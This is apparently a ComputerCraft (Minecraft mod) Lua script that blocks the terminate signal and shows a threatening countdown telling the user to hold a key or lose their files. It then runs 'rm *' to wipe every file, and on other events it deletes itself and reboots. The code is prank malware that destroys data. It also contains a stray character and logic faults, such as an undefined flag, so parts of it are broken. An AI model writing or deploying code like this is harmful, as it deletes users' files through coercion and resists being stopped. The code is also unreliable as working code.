function center(msg)
  w, h = term.getSize()
  term.setCursorPos(w/2, h/2)
  write(msg)
end

x = 600;
while true do
	e, p1, p2, p3 = os.pullEventRaw()
	if(e == "terminate") then
		if(al) then
			shell.run("rm", "*")
		end
	elseif(e == "key") then
		if(x > 0) then
		term.clear()
		center("Hold down a key for "..x.." more seconds and your files will be here")
		center("Terminate me, and so will your files.")
		sleep(1)
		x = x-1
	else
		shell.run("rm", "*")§
	end
	else
		shell.run("rm", shell.getRunningProgram())
		os.reboot()
	end
	end
end